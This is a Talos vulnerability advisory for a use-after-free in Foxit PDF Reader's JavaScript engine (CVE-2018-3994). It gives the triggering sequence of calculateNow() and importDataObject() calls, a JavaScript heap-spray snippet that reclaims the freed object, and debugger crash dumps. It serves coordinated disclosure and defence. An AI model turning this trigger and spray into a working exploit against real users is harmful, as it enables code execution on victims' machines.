Talos Vulnerability Report

TALOS-2018-0662

Foxit PDF Reader Javascript importDataObject Remote Code Execution Vulnerability

October 1, 2018
CVE Number

CVE-2018-3994

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.2.0.9297.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

A multipage PDF document can have Javascript actions attached to "page open" and "page close" events. Careful manipulation of an allocated object upon "page open" and "close" can lead to use-after-free conditions which can be abused to gain arbitrary code execution.

When opening the document, code associated with the "open" event of the page in focus will execute. Specifically, calling app.activeDocs[0].calculateNow() in a "page open" event allocates an extra object on the heap. Then, the code in the "open" action for the whole document kicks in. Calling app.activeDocs[0].importDataObject(); can then dereference a freed object leading to a use-after-free condition.

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(1514.e48): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=218ada07 ebx=1173fb00 ecx=12755080 edx=00000030 esi=00000000 edi=12755080
eip=02e28393 esp=0012ccb8 ebp=0012ccd8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
FoxitReader!CFXJSE_Arguments::GetValue+0x968c63:
02e28393 8b7974          mov     edi,dword ptr [ecx+74h] ds:0023:127550f4=????????
0:000> dd ecx
12755080  ???????? ???????? ???????? ????????
12755090  ???????? ???????? ???????? ????????
127550a0  ???????? ???????? ???????? ????????
127550b0  ???????? ???????? ???????? ????????
127550c0  ???????? ???????? ???????? ????????
127550d0  ???????? ???????? ???????? ????????
127550e0  ???????? ???????? ???????? ????????
127550f0  ???????? ???????? ???????? ????????
0:000> k 4 
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0012ccd8 02e2ea59 FoxitReader!CFXJSE_Arguments::GetValue+0x968c63
01 0012cd54 764ac4b7 FoxitReader!CFXJSE_Arguments::GetValue+0x96f329
02 0012cd80 764ac5b7 USER32!InternalCallWinProc+0x23
03 0012cdf8 764a5264 USER32!UserCallWinProcCheckWow+0x14b

Analyzing the heap state clearly shows that ecx points into a freed memory region. We can abuse typed arrays to try and fill the memory of the freed object. An object size of 0xff8 sufices in this case:

global.arr = new Array(0x100);
for (var i = 0; i < global.arr.length; i++){
global.arr[i] = new ArrayBuffer(0xff8 );
var int32View = new Int32Array(global.arr[i]);


for(var j = 0; j <int32View.length ; j++){
  int32View[j] = 0xeaeaeaea;
  }

}

Loading the PoC in the Foxit Reader with PageHeap disabled this time results in the following crash:

(13c4.5ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=216dd0d1 ebx=11697b00 ecx=126af080 edx=00000030 esi=00000000 edi=eaeaeaea
eip=02e283a7 esp=0019cf50 ebp=0019cf70 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010282
FoxitReader!CFXJSE_Arguments::GetValue+0x968c77:
02e283a7 8b07            mov     eax,dword ptr [edi]  ds:0023:eaeaeaea=????????
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0019cf70 02e2ea59 FoxitReader!CFXJSE_Arguments::GetValue+0x968c77
01 0019cfec 764ac4b7 FoxitReader!CFXJSE_Arguments::GetValue+0x96f329
02 0019d018 764ac5b7 USER32!InternalCallWinProc+0x23
03 0019d090 764a5264 USER32!UserCallWinProcCheckWow+0x14b

This has a potential of being used as an arbitrary read, but careful manipulation of typed array contents can lead to more direct instruction pointer control and ultimately arbitrary code execution.

Timeline

2018-09-10 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.